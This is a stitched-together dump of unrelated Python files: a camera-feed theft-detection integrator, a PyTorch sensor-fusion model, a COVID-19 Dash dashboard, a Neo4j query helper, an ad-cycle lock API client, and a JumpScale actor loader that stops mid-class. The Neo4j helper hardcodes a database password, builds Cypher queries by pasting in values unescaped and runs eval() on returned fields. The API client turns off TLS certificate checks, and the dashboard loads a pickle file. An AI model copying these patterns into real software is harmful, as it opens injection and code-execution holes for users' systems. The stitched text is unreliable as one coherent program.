import multiprocessing
from pathlib import Path
import cv2
from visutils.vis_feed import VisFeed
import glob, os
import pandas as pd
import shutil
import pandas as pd
import visutils.vis as vis
from parse import parse
from collections import defaultdict

def to_sec(frame, fps=10):
    return str(int(frame) // fps) + "s"

def frame_to_time(imfile):
    frame_num = int(Path(imfile).stem.split("_")[-1])
    return frame_num

class IntegratorClass:
    def __init__(self, fps=10):
        self.bin_pax = {}
        self.tmp = []
        # to determine first used
        self.item_first_used = []
        self.fps = fps
        self.asso_info = defaultdict(lambda: defaultdict(dict))

        self.msg = set()

    def load_info(self, bin_file, pax_file, nu_file_cam):
        # load bin
        self.df_bin = self.load_bin(bin_file)

        # load pax info
        self.df_pax = self.refine_pax_df(pax_file)

        # get association info
        _ = self.get_association_info(nu_file_cam)

        print("loaded")

    def load_bin(self, bin_file):
        # load bin info
        df = pd.read_csv(str(bin_file), sep=",")
        df["x1"] = df["x1"] / 3
        df["y1"] = df["y1"] / 3
        df["x2"] = df["x2"] / 3
        df["y2"] = df["y2"] / 3
        df["camera"] = df["cam"]
        df['id'] = 'B' + df['id'].astype(str)
        # load location type
        # df_new = df[df["type"] == "loc"].copy()
        # df_comb = df_new

        # load change type
        # loc_cng = df["type"] == "chng"
        # df_comb.loc[loc_cng, "frame"] = df[loc_cng]["frame"] - 50
        # change detection offset
        df = df.sort_values("frame")
        return df

    def refine_pax_df(self, pax_file):
        # pax_names = [
        #     "frame", "cam", "timeoffset", "x1", "y1", "x2", "y2", "id",
        #     "firstused"
        # ]
        df = pd.read_csv(str(pax_file), sep=",", index_col=0)
        df["x1"] = df["x1"] / (1080. / 640)
        df["y1"] = df["y1"] / (720. / 360)
        df["x2"] = df["x2"] / (1080. / 640)
        df["y2"] = df["y2"] / (720. / 360)
        df["camera"] = df["cam"].apply(lambda x: f"cam{int(x):02d}")
        return df

    def get_association_info(self, nu_file):
        asso_msg = defaultdict(dict)

        # fid, cam, events
        df = pd.read_csv(nu_file, header=None, names=["frame", "cam", "des"])
        df['cam'] = df['cam'].apply(lambda x: f"cam{int(x[3:]):02d}")
        for _, row in df.iterrows():
            frame = row["frame"]
            des = row["des"]
            cam = row["cam"]
            des = parse("[{}]", des)
            if des is None:
                continue
            des = des[0]
            des_splits = des.split("', '")
            for i, each_split in enumerate(des_splits):
                each_split = each_split.strip().replace("'",
                                                        "").replace("'", "")

                if 'XFR' in each_split:
                    each_split = each_split.replace("owner-ID", "PAX-ID")
                    _msg = parse(("XFR: type: {} camera-num: {} frame: {} "
                                  "time-offset: {} BB: {} PAX-ID: {pax_id} "
                                  "DVI-ID: {bin_id} theft: {}"), each_split)
                    asso_msg[cam][frame] = [
                        'XFR', cam, frame, _msg["pax_id"], _msg["bin_id"],
                        each_split.replace("[", "").replace("]", "")
                    ]
                elif 'Association' in each_split:
                    # 1156,cam9,"['Association | P1 | owner of | Bin 3 |']"
                    pp = parse(
                        "{event_str}P{pax_id:d}{tmp}Bin {bin_id:d}{_end}",
                        each_split)
                    if pp is not None:
                        bin_id, pax_id = 'B' + str(pp['bin_id']), 'P' + str(
                            pp['pax_id'])
                        if "owner of" in pp['tmp']:
                            # association
                            self.asso_info[cam][bin_id][frame] = pax_id
        self._asso_msg = asso_msg

    def get_info_from_frame(self, frame, cam="cam09"):
        # get pax info
        logs = []
        df = self.df_pax
        msglist = []
        info = df[(df["frame"] == frame) & (df["camera"] == cam)]
        list_info_pax = []
        list_event_pax = []
        for _, row in info.iterrows():
            if not row.empty:
                row['id'] = str(row['id'])
                list_info_pax.append([
                    row["id"], "pax", row["x1"], row["y1"], row["x2"],
                    row["y2"]
                ])
                if "TSO" in row["id"]:
                    pax_type = "TSO"
                else:
                    pax_type = "PAX"
                log = (
                    f"LOC: type: {pax_type} camera-num: {cam[3:5]} frame: {frame} time-offset: {frame/self.fps:.2f} "
                    +
                    f"BB: {int(row['x1']*3)}, {int(row['y1']*3)}, {int(row['x2']*3)}, {int(row['y2']*3)} "
                    + f"ID: {row['id']}")
                logs.append(log)

        # get bin info.
        df = self.df_bin
        info = df[(df["frame"] == frame) & (df["camera"] == cam)]
        list_info_bin = []
        list_event_bin = []

        asso_info = self.asso_info[cam]  # association from camera 09
        for _, row in info.iterrows():
            if row["type"] == "loc":
                _id = str(row["id"])

                # get associated pax
                if _id in asso_info:
                    ffs = list(asso_info[_id])
                    for _f in ffs:
                        if frame >= _f:
                            self.bin_pax[_id] = str(asso_info[_id][_f])
                else:
                    pass

                # bin info for visualization
                list_info_bin.append([
                    _id,
                    "item",
                    row["x1"],
                    row["y1"],
                    row["x2"],
                    row["y2"],
                    self.bin_pax.get(_id, ""),
                ])

                # FIXME left-behind calculation
                left_behind = "FALSE"

                if self.bin_pax.get(_id, ""):
                    log = (
                        f"LOC: type: DVI camera-num: {cam[3:5]} frame: {frame} time-offset: {frame/self.fps:.2f} "
                        +
                        f"BB: {int(row['x1']*3)}, {int(row['y1']*3)}, {int(row['x2']*3)}, {int(row['y2']*3)} "
                        +
                        f"ID: {_id} PAX-ID: {self.bin_pax.get(_id, 'NA')} left-behind: {left_behind}"
                    )
                    logs.append(log)
            else:  # event type
                if (row["type"] == "enter" and cam == "cam09") or \
                     row["type"] == "chng" or (row["type"] == "empty" and cam != "cam09"):
                    # xfr event
                    _id = str(row["id"])
                    _type = "TO" if cam == "cam09" else "FROM"
                    log = (
                        f"XFR: type: {_type} camera-num: {cam[3:5]} frame: {frame} time-offset: {frame/self.fps:.2f} "
                        +
                        f"BB: {int(row['x1']*3)}, {int(row['y1']*3)}, {int(row['x2']*3)}, {int(row['y2']*3)} "
                        +
                        f"PAX-ID: {self.bin_pax.get(_id, 'NA')} DVI-ID: {_id} theft: FALSE"
                    )
                    logs.append(log)
                    continue
                # Which event to skip
                if row["type"] not in ("enter", "exit"):
                    pass  # skip event
                elif row["type"] == "enter" and cam == "cam09":
                    # skip bin 'enter' event for cam 09
                    pass
                else:
                    list_event_bin.append([row["type"], row["msg"]])
                    msglist.append([
                        row["camera"][-2:],
                        to_sec(row["frame"], fps=self.fps), row["msg"]
                    ])

            # add 'theft' message for visualization
            # if frame in self.asso_msg:
            #     rr = self.asso_msg[frame]
            #     if rr[0] == cam[3:5]:
            #         if (cam + rr[2]) not in self.tmp:
            #             msglist.append([rr[0], to_sec(rr[1]), rr[2]])
            #             self.tmp.append(cam + rr[2])

        if cam in self._asso_msg and frame in self._asso_msg[cam]:
            mtype, cam, frame, pax_id, bin_id, _msg = self._asso_msg[cam][
                frame]
            if mtype == 'XFR':
                # _type = "TO" if cam == "cam09" else "FROM"
                # log = (
                #     f"XFR: type: {_type} camera-num: {cam[3:5]} frame: {frame} time-offset: {frame/self.fps:.2f} "
                #     + f"BB: 0, 0, 0, 0 " +
                #     f"PAX-ID: {pax_id} DVI-ID: {bin_id} theft: FALSE")
                logs.append(_msg)

                if 'theft: true' in _msg.lower():
                    feed_msg = (cam, to_sec(frame, self.fps),
                                f'Potential theft: {pax_id} - {bin_id}')
                else:
                    feed_msg = (cam, to_sec(frame, self.fps),
                                f'XFR : {pax_id} - {bin_id}')
                if feed_msg not in self.msg:
                    msglist.append(feed_msg)
                    self.msg.add(feed_msg)

        return (list_info_bin, list_info_pax, list_event_bin, list_event_pax,
                msglist, logs)

    @staticmethod
    def draw_im(im, info_bin, info_pax, font_scale=0.5):
        for each_i in info_bin:
            bbox = [each_i[2], each_i[3], each_i[4], each_i[5]]
            im = vis.vis_bbox_with_str(
                im,
                bbox,
                each_i[0],
                each_i[-1],
                color=(33, 217, 14),
                thick=2,
                font_scale=font_scale,
                color_txt=(252, 3, 69),
            )

        for each_i in info_pax:
            bbox = [each_i[2], each_i[3], each_i[4], each_i[5]]
            im = vis.vis_bbox_with_str(
                im,
                bbox,
                each_i[0],
                None,
                color=(23, 23, 246),
                thick=2,
                font_scale=font_scale,
                color_txt=(252, 211, 3),
            )
        return im

class DrawClass():
    def __init__(self, conf=None, plot=True) -> None:
        self.vis_feed = VisFeed()
        self.Info = IntegratorClass(fps=conf.fps)
        self.plot = plot
        self.conf = conf

        # Output folder path of the feed
        self.feed_folder = Path(conf.folder_out_feed)
        # Path(conf.out_dir) / "run" / conf.file_num / "feed"
        if self.feed_folder.exists():
            shutil.rmtree(str(self.feed_folder))
        self.feed_folder.mkdir(exist_ok=True, parents=True)

        self.full_log = []

    def draw_batch(self, batch_frames, *csv_files):
        self.Info.load_info(*csv_files)
        all_out_args = []
        for out in batch_frames:
            _args = self._extract_info_for_draw_frame(*out)
            all_out_args.append(_args)

        if self.plot:
            self.plot_fn(all_out_args, self.feed_folder)

    def plot_fn(self, all_out_args, feed_folder):
        if self.conf.workers_plot > 1:
            with multiprocessing.Pool(
                    processes=self.conf.workers_plot) as pool:
                for each_step_arg in all_out_args:
                    # DrawClass.plot_fun_step(each_step_arg, feed_folder)
                    pool.apply_async(
                        DrawClass.plot_fun_step,
                        (each_step_arg, feed_folder),
                        #  callback=lambda x: print("#"),
                        error_callback=lambda e: print("error"))
                pool.close()
                pool.join()
        else:
            for each_step_arg in all_out_args:
                DrawClass.plot_fun_step(each_step_arg, feed_folder)

    @staticmethod
    def plot_fun_step(each_step_arg, feed_folder):
        ims = []
        vis_feed = VisFeed()
        for args in each_step_arg["args"]:
            im, info_bin, info_pax = args
            im = IntegratorClass.draw_im(im,
                                         info_bin,
                                         info_pax,
                                         font_scale=0.7)
            ims.append(im)
        # msglist.extend(mlist)
        if len(ims) < 2:
            ims.append(None)
        if len(ims) < 3:
            ims.append(None)

        frame_num = each_step_arg["frame"]
        msglist = each_step_arg["msg"]
        im_feed = vis_feed.draw(ims[0], ims[1], ims[2], frame_num, msglist)

        f_write = feed_folder / (str(frame_num).zfill(4) + ".jpg")
        cv2.imwrite(str(f_write), cv2.cvtColor(im_feed, cv2.COLOR_RGB2BGR))
        # print(f"save to {f_write}")

    def _extract_info_for_draw_frame(self, out1, out2=None, out3=None):

        out_args = []  # for multiprocess

        im1, imfile1, _ = out1
        im2 = None
        if out2 is not None:
            im2, imfile2, _ = out2
        im3 = None
        if out3 is not None:
            im3, imfile3, _ = out3

        frame_num = frame_to_time(imfile1)
        # Cam 09
        info_bin, info_pax, event_bin, event_pax, msglist, logs = self.Info.get_info_from_frame(
            frame_num, "cam09")
        self.full_log.extend(logs)
        if self.plot:
            # im1 = self.Info.draw_im(im1, info_bin, info_pax, font_scale=0.75)
            out_args.append((im1, info_bin, info_pax))

        # print("#draw:1", flush=True)
        # Cam 11
        if out2 is not None:
            info_bin, info_pax, event_bin, event_pax, mlist, logs = self.Info.get_info_from_frame(
                frame_num, "cam11")
            msglist.extend(mlist)
            self.full_log.extend(logs)
            if self.plot:
                # im2 = self.Info.draw_im(im2, info_bin, info_pax, font_scale=0.7)
                out_args.append((im2, info_bin, info_pax))

        if out3 is not None:
            frame_num3 = frame_to_time(imfile3)
            info_bin, info_pax, event_bin, event_pax, mlist, logs = self.Info.get_info_from_frame(
                frame_num3, "cam13")
            msglist.extend(mlist)
            self.full_log.extend(logs)
            if self.plot:
                # im3 = self.Info.draw_im(im3,
                #                         info_bin,
                #                         info_pax,
                #                         font_scale=0.7)
                out_args.append((im3, info_bin, info_pax))

        return {
            "args": out_args,
            "frame": frame_num,
            "msg": list(self.Info.msg)
        }

    def finish(self):
        # write ata output
        write_file = Path(self.conf.ata_output)
        write_file.parent.mkdir(exist_ok=True, parents=True)

        with open(str(write_file), "w") as fp:
            fp.write("\n".join(self.full_log))

        print(f"write to ", write_file)


from torch import nn
import torch
import numpy as np
import torch.nn.functional as F
from torchvision.transforms import Normalize

class Multisensory_Fusion(nn.Module): # nn.Module
    def __init__(self, args):
        super(Multisensory_Fusion, self).__init__()
        self.args = args
        self.batch_size = args.batch_size
        self.unimodal = True
        if args.sensor == 'All':
            self.unimodal = False

        # for Multimodal
        self.layer1 = nn.Sequential(
            # 4 x 32 x 32
            nn.Conv2d(4, 64, kernel_size=2, stride=2),
            # 64 x 16 x 16
            nn.LeakyReLU(),
            nn.BatchNorm2d(64),
            nn.Conv2d(64, 32, kernel_size=3, stride=1, padding=1),
            # 32 x 16 x 16
            nn.LeakyReLU(),
            nn.BatchNorm2d(32)
        ).to(self.args.device_id)

        self.layer2 = nn.Sequential(
            # 34 x 16 x 16
            nn.Conv2d(34, 32, kernel_size=3, stride=1, padding=1),
            # 32 x 16 x 16
            nn.LeakyReLU(),
            nn.BatchNorm2d(32),
        ).to(self.args.device_id)

        self.layer3 = nn.Sequential(
            # 32 x 16 x 16
            nn.Conv2d(32, 32, kernel_size=2, stride=2),
            # 32 x 8 x 8
            nn.LeakyReLU(),
            nn.BatchNorm2d(32),
        ).to(self.args.device_id)

        # for Unimodal
        # self.conv1r = nn.Conv2d(3, 8, kernel_size=2, stride=2).to(self.args.device_id)
        # self.conv2r = nn.Conv2d(8, 8, kernel_size=3, stride=1, padding=1).to(self.args.device_id)
        # self.conv3r = nn.Conv2d(8, 8, kernel_size=2, stride=2).to(self.args.device_id),

    def forward(self, r, d, m, t):
        # batch normalization
        if self.args.sensor == 'All':
            r = self.norm_vec(r, range_in=[0, 255])
            d = self.norm_vec(d, range_in=[0, 255])
            m = self.norm_vec(m)
            t = self.norm_vec(t)
            im = torch.cat((r, d), 2)
            im = im.to(self.args.device_id)
        elif self.args.sensor == 'force_torque':
            t = self.norm_vec(t)

        # r[i] :   torch.Size([3, 3, 32, 32])
        # d[i] :   torch.Size([3, 1, 32, 32])
        # m[i] :   torch.Size([3, 13])
        # t[i] :   torch.Size([3])
        # im[i] :   torch.Size([3, 4, 32, 32])
        r = r.to(self.args.device_id)
        d = d.to(self.args.device_id)
        m = m.to(self.args.device_id)
        t = t.to(self.args.device_id)
        out = torch.Tensor().to(self.args.device_id)

        for i in range(self.batch_size):
            if t.shape[1] != 0:     # t is not None
                # t[i].shape == 3
                tt = t[i].unsqueeze(1).unsqueeze(1)
                # tt.shape == 3, 1, 1
                tt = tt.repeat(1, 16, 16)
                # tt.shape == 3, 16, 16
                tt = tt.unsqueeze(1)
                # tt.shape == 3, 1, 16, 16

                if self.unimodal:
                    result = tt
            if m.shape[1] != 0:     # m is not None
                # m[i].shape == 3, 16
                mm = m[i].unsqueeze(1)
                # mm.shape == 3, 1, 16
                mm = mm.repeat(1, 16, 1)
                # mm.shape == 3, 16, 16
                mm = mm.unsqueeze(1)
                # mm.shape == 3, 1, 16, 16

                if self.unimodal:
                    result = mm
            if self.args.sensor == 'hand_camera':   # unimodal
                # r[i].shape == 3, 3, 32, 32
                rr = self.conv1r(r[i])
                # rr.shape == 3, 8, 16, 16
                rr = self.conv2r(rr)
                # im.shape == 3, 8, 16, 16
                rr = self.conv3r(rr)
                # im.shape == 3, 8, 8, 8
                result = rr.unsqueeze(0)
                # result.shape == 1, 3, 8, 8, 8

            if self.args.sensor == 'All':
                # im[i].shape == 3, 4, 32, 32
                # batch norm
                imim = self.layer1(im[i])
                # imim.shape == 3, 32, 16, 16
                multimodal = torch.cat((imim, tt, mm), 1)
                # multimodal.shape == 3, 34, 16, 16
                multimodal = self.layer2(multimodal) + imim
                # multimodal.shape == 3, 32, 16, 16
                multimodal = self.layer3(multimodal)
                # multimodal.shape == 3, 32, 8, 8
                result = multimodal.unsqueeze(0)
                # result.shape == 1, 3, 32, 8, 8
            out = torch.cat((out, result), 0)

        out = out.view(self.batch_size, self.args.seq_len, self.args.n_features)
        return out

    ## todo : Normalization!!!
    def norm_vec(self,v, range_in=None, range_out=None):
        if range_out is None:
            range_out = [-1, 1]
        if range_in is None:
            range_in = [torch.min(v), torch.max(v)]

        r_out = range_out[1] - range_out[0]
        r_in = range_in[1] - range_in[0]
        v = (r_out * (v - range_in[0]) / r_in) + range_out[0]
        return v

def norm_vec_np(v, range_in=None, range_out=None):
    if range_out is None:
        range_out = [0.0, 1.0]
    if range_in is None:
        range_in = [np.min(v,0), np.max(v,0)]
    r_out = range_out[1] - range_out[0]
    r_in = range_in[1] - range_in[0]
    v = (r_out * (v - range_in[0]) / r_in) + range_out[0]
    v = np.nan_to_num(v, nan=0.0)
    return v


import json
import logging
import pickle

import dash
import dash_html_components as html
from datetime import datetime, timezone
import dash_core_components as dcc
import dateparser
from dash.dependencies import Input, Output
from pandas import read_csv

from timexseries.data_ingestion import add_diff_columns
from timexseries.data_visualization.functions import create_timeseries_dash_children, line_plot_multiIndex

log = logging.getLogger(__name__)

param_file_nameJSON = 'configurations/configuration_test_covid19italy.json'

# Load parameters from config file.
with open(param_file_nameJSON) as json_file:  # opening the config_file_name
    param_config = json.load(json_file)  # loading the json

# Load containers dump.
with open(f"containers.pkl", 'rb') as input_file:
    timeseries_containers = pickle.load(input_file)

# Data visualization
children_for_each_timeseries = [{
    'name': s.timeseries_data.columns[0],
    'children': create_timeseries_dash_children(s, param_config)
} for s in timeseries_containers]

# Initialize Dash app.
app = dash.Dash(__name__)
server = app.server

now = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S')

disclaimer = [html.Div([
    html.H1("COVID-19 pandemic in Italy: monitoring and forecasting", style={'text-align': 'center'}),
    html.Hr(),
    dcc.Markdown('''
		TIMEX Results.
        '''),
    html.Div("Last updated at (yyyy-mm-dd, UTC time): " + str(now)),
    html.Br(),
    html.H2("Please select the data of interest:")
], style={'width': '80%', 'margin': 'auto'}
), dcc.Dropdown(
    id='timeseries_selector',
    options=[{'label': i['name'], 'value': i['name']} for i in children_for_each_timeseries],
    value='Time-series'
), html.Div(id="timeseries_wrapper"), html.Div(dcc.Graph(), style={'display': 'none'})]
tree = html.Div(children=disclaimer, style={'width': '80%', 'margin': 'auto'})

app.layout = tree

@app.callback(
    Output(component_id='timeseries_wrapper', component_property='children'),
    [Input(component_id='timeseries_selector', component_property='value')]
)
def update_timeseries_wrapper(input_value):
    try:
        children = next(x['children'] for x in children_for_each_timeseries if x['name'] == input_value)
    except StopIteration:
        return html.Div(style={'padding': 200})

    return children


from py2neo import authenticate,Graph,Node,Relationship,watch
import re

#set up authentication parameters
authenticate("localhost:12345", "neo4j", "manyata45")
graph = Graph("http://localhost:12345/db/data")
cypher = graph.cypher

########################################## PY2NEO FUNCTIONS #############################################
#CLEAR GRAPH FUNCTIONS
def clear_graph():
	graph.cypher.execute("MATCH (n) DETACH DELETE n")

#CREATE FUNCTIONS
def create_node(label,attrib):
	if attrib is not None:
		query = "CREATE (n:{}{{".format(label)
		for key in attrib.keys():
			if type(attrib[key]) is str:
				query+=" {} : '{}',".format(key,attrib[key])
			else:
				query+=" {}:{},".format(key,attrib[key])
		query=query[:-1]
		query+=" }) RETURN n"
	else:
		query = "CREATE (n:{}) RETURN n".format(label)
	# print "Query : {}\n".format(query)
	rec = graph.cypher.execute(query)

def create_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	if node1_attrib is not None:
		query = "MATCH (n1:{}{{".format(label1)
		for key in node1_attrib.keys():
			if type(node1_attrib[key]) is str:
				query+=" {}:'{}',".format(key,node1_attrib[key])
			else:
				query+=" {}:{},".format(key,node1_attrib[key])
		query=query[:-1]
		query+="}), "
	else:
		query = "MATCH (n1:{}), ".format(label1)

	if node2_attrib is not None:
		query+="(n2:{}{{".format(label2)
		for key in node2_attrib.keys():
			if type(node2_attrib[key]) is str:
				query+=" {}:'{}',".format(key,node2_attrib[key])
			else:
				query+=" {}:{},".format(key,node2_attrib[key])
		query=query[:-1]
		query+="}) "
	else:
		query+="(n2:{}) ".format(label2)
	if relation_attrib is not None:
		query+="CREATE (n1)-[:{}{{".format(relation_name)
		for key in relation_attrib.keys():
			if type(relation_attrib[key]) is str:
				query+=" {}:'{}',".format(key,relation_attrib[key])
			else:
				query+=" {}:{},".format(key,relation_attrib[key])
		query=query[:-1]
		query+="}]->(n2)"
	else:
		query+="CREATE (n1)-[:{}".format(relation_name)
		query+="]->(n2)"
	# print "Query : {}\n".format(query)
	recList = graph.cypher.execute(query)

#MATCH FUNCTIONS
def get_node(label,attrib):
	''' Will return the first node returned by the graph'''
	rec = _match_node(label,attrib)
	for r in rec:
		return _process_node_record(r)

def get_nodes(label,attrib):
	''' Will return all the nodes returned by the graph'''
	rec = _match_node(label,attrib)
	results = []
	for r in rec:
		results.append(_process_node_record(r))
	return results

def check_node(label,attrib):
	''' Checks if the graph returns atleast one node that matches the query'''
	rec = _match_node(label,attrib)
	for r in rec:
		if _process_node_record(r):
			return True
	return False

def _match_node(label,attrib):
	query = "MATCH (n:{}".format(label)
	if attrib is not None:
		query+="{"
		for key in attrib:
			if type(attrib[key]) is str:
				query+=" {}:'{}',".format(key,attrib[key])
			else:
				query+=" {}:{},".format(key,attrib[key])
		query=query[:-1]
		query+="}) RETURN n"
	else:
		query+=") RETURN n"
	# print "Query : {}\n".format(query)
	return cypher.execute(query)

def _process_node_record(record):
	result = {}
	record = str(record[0])
	try:
		regex = r'^\(([A-z0-9]+):([A-z0-9]+)\s?(?:\{(.*?)\})?\)$'
		match = re.match(regex,record)
		if match is None:
			return None
		result['_id']=match.group(1)
		result['_label']=match.group(2)
		if match.group(3) is None:
			return result
		pairs = match.group(3).split(",")
		for pair in pairs:
			p = pair.split(':')
			result[p[0]] = eval(p[1])
		return result
	except:
		raise Exception("Invalid Node Record")

def get_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	'''Returns the first relationship returned by the graph'''
	rec = _match_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib)
	for r in rec:
		return _process_relationship_record(r)

def get_relationships(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	'''Returns all the relationships returned by the graph'''
	result = []
	rec = _match_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib)
	for r in rec:
		result.append(_process_relationship_record(r))

def check_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	''' Checks if the graph returns atleast one relationship that matches the query'''
	rec = _match_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib)
	for r in rec:
		if _process_relationship_record(r):
			return True
	return False

def _match_relationship(label1,node1_attrib,label2,node2_attrib,relation_name,relation_attrib):
	query = "MATCH (n1:{}".format(label1)
	if node1_attrib is not None:
		query+="{"
		for key in node1_attrib.keys():
			if type(node1_attrib[key]) is str:
				query+=" {}:'{}',".format(key,node1_attrib[key])
			else:
				query+=" {}:{},".format(key,node1_attrib[key])
		query=query[:-1]
		query+="}"
	query+=") -[r:{}".format(relation_name)
	if relation_attrib is not None:
		query+="{"
		for key in relation_attrib.keys():
			if type(relation_attrib[key]) is str:
				query+=" {}:'{}',".format(key,relation_attrib[key])
			else:
				query+=" {}:{},".format(key,relation_attrib[key])
		query=query[:-1]
		query+="}"
	query+="]-> (n2:{}".format(label2)
	if node2_attrib is not None:
		query+="{"
		for key in node2_attrib.keys():
			if type(node2_attrib[key]) is str:
				query+=" {}:'{}',".format(key,node2_attrib[key])
			else:
				query+=" {}:{},".format(key,node2_attrib[key])
		query=query[:-1]
		query+="}"
	query+=") RETURN r"
	# print "Query : {}\n".format(query)
	return cypher.execute(query)

def _process_relationship_record(record):
	result = {}
	record = str(record[0])
	try:
		regex = r'^\(:([A-z0-9]+)\s?(?:\{(.*?)\})?\s?\)-\[([A-z0-9]+):([A-z0-9]+)\s?(?:\{(.*?)\})?\]\s?->\s?\(:([A-z0-9]+)\s?(?:\{(.*?)\})?\s?\)$'
		match = re.search(regex,record)
		if match is None:
			return None

		result['node_from'] = {}
		result['node_to'] = {}
		result['rel'] = {}

		result['node_from']['_label'] = match.group(1)
		if match.group(2) is not None:
			pairs = match.group(2).split(",")
			for pair in pairs:
				p = pair.split(':')
				result['node_from'][p[0]] = eval(p[1])

		result['node_to']['_label'] = match.group(6)
		if match.group(7) is not None:
			pairs = match.group(7).split(",")
			for pair in pairs:
				p = pair.split(':')
				result['node_to'][p[0]] = eval(p[1])

		result['rel']['_label'] = match.group(4)
		result['rel']['_id'] = match.group(3)
		if match.group(5) is not None:
			pairs = match.group(5).split(",")
			for pair in pairs:
				p = pair.split(':')
				result['rel'][p[0]] = eval(p[1])

	except:
		raise Exception("Invalid Relationship Record")

	return result
###################################### PY2NEO FUNCTIONS ###########################################


import requests
import pymysql.cursors
import global_demo
import time
"""
周期管理模块的接口
@lihuanhuan@focusmedia.cn
"""

class AdCycleLock:
    @staticmethod
    def get_adcycle_lock_city():
        """
        检查当前城市是否有发布锁,使用批量查询接口查询
        :return: 返回有发布锁的周期的ID
        """
        get_city_lock = global_demo.GL_URL_AD_CYCLE + '/v1/adCycle/locks/batchLockQueryByCityAndDates'
        payload = {
             "items": [
                {
                    "cityId": global_demo.GL_CITY_ID,
                    "startDate": "2019-08-25",
                    "endDate": "2021-12-31"
                }
            ]
        }
        result = requests.post(get_city_lock, json=payload, headers=global_demo.GL_HEADERS, verify=False)
        content = result.json()['items']
        adcycle_id_list = []
        for key in content:
            if len(key['locks']) == 0:
                return False
            else:
                for adcycle in key['locks']:
                    adcycle_id_list.append(adcycle['adCycle']['id'])
        return adcycle_id_list

    @staticmethod
    def put_adcycle_lock_city(ad_cycle_id):
        # 给城市加上发布锁
        put_city_lock = global_demo.GL_URL_AD_CYCLE + '/v1/adCycle/lock/'+global_demo.GL_CITY_ID+'/'+ad_cycle_id
        result = requests.post(put_city_lock, headers=global_demo.GL_HEADERS, verify=False)
        return result

    @staticmethod
    def delete_adcycle_lock_city(ad_cycle_id):
        # 解发布锁
        delete_city_lock = global_demo.GL_URL_AD_CYCLE + '/v1/adCycle/lock/'+global_demo.GL_CITY_ID+'/'+ad_cycle_id
        result = requests.delete(delete_city_lock, headers=global_demo.GL_HEADERS, verify=False)
        if result.status_code == 204:
            return True
        else:
            return False

    @staticmethod
    def delete_all_adcycle_lock():
        result = AdCycleLock().get_adcycle_lock_city()
        """
        如果获取城市发布锁的结果为false,直接返回
        如果获取城市发布锁的结果为true，删除发布锁，删除时对删除结果校验，删除成功继续，删除失败，返回false
        """
        if len(result)==0:
            return True
        else:
            for key in result:
                result = AdCycleLock().delete_adcycle_lock_city(key)
                if result:
                    continue
                else:
                    return False

            return True

# adCycleLock().delete_adcycle_lock_city('2019W42')


from JumpScale import j
from .LoaderBase import LoaderBase, LoaderBaseObject

from JumpScale.core.extensions.PMExtensionsGroup import PMExtensionsGroup
from JumpScale.core.extensions.PMExtensions import PMExtensions
import JumpScale.baselib.tags

class ActorExtensionsGroup(PMExtensionsGroup):

    """
    ActorExtensionsGroup
    """

    def __init__(self, path):
        """
        ActorExtensionsGroup constructor
        """

        PMExtensionsGroup.__init__(self)

        self.pm_name = "a"
        self.pm_location = "a"

        extensionLoader = PMExtensions(self, 'a.')

        extensionLoader.load(path, True)

        self._activate()

    def _activate(self):
        """
        Activates all extensions in the extention group
        """
        for extensionName in list(self.pm_extensions.keys()):
            extension = self.pm_extensions[extensionName]
            extension.activate()

class Class():
    pass

class GroupAppsClass(object):
    def __init__(self, actorsloader):
        self.actorsloader = actorsloader

    def __getattr__(self, appname):
        app = AppClass(appname)
        setattr(self, appname, app)
        return app

class AppClass(object):
    def __init__(self, appname):
        self._appname = appname

    def __getattr__(self, actorname):
        if actorname in ('__members__', '__methods__', 'trait_names', '_getAttributeNames'):
            return object.__getattr__(self, actorname)
        actor = j.apps.actorsloader.getActor(self._appname, actorname)
        setattr(self, actorname, actor)
        return actor

class ActorsLoader(LoaderBase):
    """
    loader for all actors
    """

    def __init__(self):
        """
        """
        import gevent.coros
        LoaderBase.__init__(self, "actor", ActorLoader)
        self.actorIdToActorLoader = self.id2object
        self.getActorLoaderFromId = self.getLoaderFromId
        self.osiscl = None
        self.lock = gevent.coros.RLock()

    def reset(self):
        j.apps = GroupAppsClass(self)
        j.core.specparser.app_actornames = {}
        j.core.specparser.actornames = []
        j.core.specparser.appnames = []
        j.core.specparser.modelnames = {}
        j.core.specparser.roles = {}
        j.core.specparser.specs = {}
        j.core.codegenerator.classes = {}
        # j.core.portal.active._init()

    def getApps(self):
        result = {}
        for item in list(self.id2object.keys()):
            if item.find("__") != -1:
                app = item.split("__")[0]
                result[app] = 1
        return list(result.keys())

    def getAppActors(self):
        result = []
        for item in list(self.id2object.keys()):
            if item.find("__") != -1:
                app, actor = item.split("__", 2)
                result.append([app, actor])
        return result

    def getActor(self, appname, actorname):

        key = "%s__%s" % (appname.lower(), actorname.lower())

        if key in j.core.portal.active.actors:
            return j.core.portal.active.actors[key]

        print("get actor cache miss for %s %s" % (appname, actorname))

        if key in self.actorIdToActorLoader:
            loader = self.actorIdToActorLoader[key]
            with self.lock:
                aobj = loader.activate()
            j.core.portal.active.actors[key] = aobj
            return j.core.portal.active.actors[key]
        else:
            raise RuntimeError("Cannot find actor from app %s with name %s" % (appname, actorname))

    def existsActorLoader(self, appname, actorname):
        key = "%s__%s" % (appname.lower(), actorname.lower())
        return key in self.id2object

    def existsActor(self, appname, actorname):
        try:
            key = "%s__%s" % (appname.lower(), actorname.lower())
            app = getattr(j.apps, appname, False)
            return app and getattr(app, actorname, False)
        except RuntimeError:
            return False

    def scan(self, path, reset=False):
        paths = path
        if isinstance(paths, basestring):
            paths = [paths]

        for path in paths:
            jsonfiles = j.system.fs.listFilesInDir(path, filter='*.json')
            for jsonfile in jsonfiles:
                j.tools.swaggerGen.loadSpecFromFile(jsonfile)
                j.tools.swaggerGen.generateActors(path)

        return super(ActorsLoader, self).scan(paths, reset)

    def loadOsisTasklets(self, actorobject, actorpath, modelname):
        path = j.system.fs.joinPaths(actorpath, "osis", modelname)
        if j.system.fs.exists(path):
            for method in ["set", "get", "delete", "list", "find", "datatables"]:
                path2 = j.system.fs.joinPaths(path, "method_%s" % method)
                actorobject._te["model_%s_%s" % (modelname, method)] = j.core.taskletengine.get(path2)

class ActorLoader(LoaderBaseObject):

    def __init__(self):
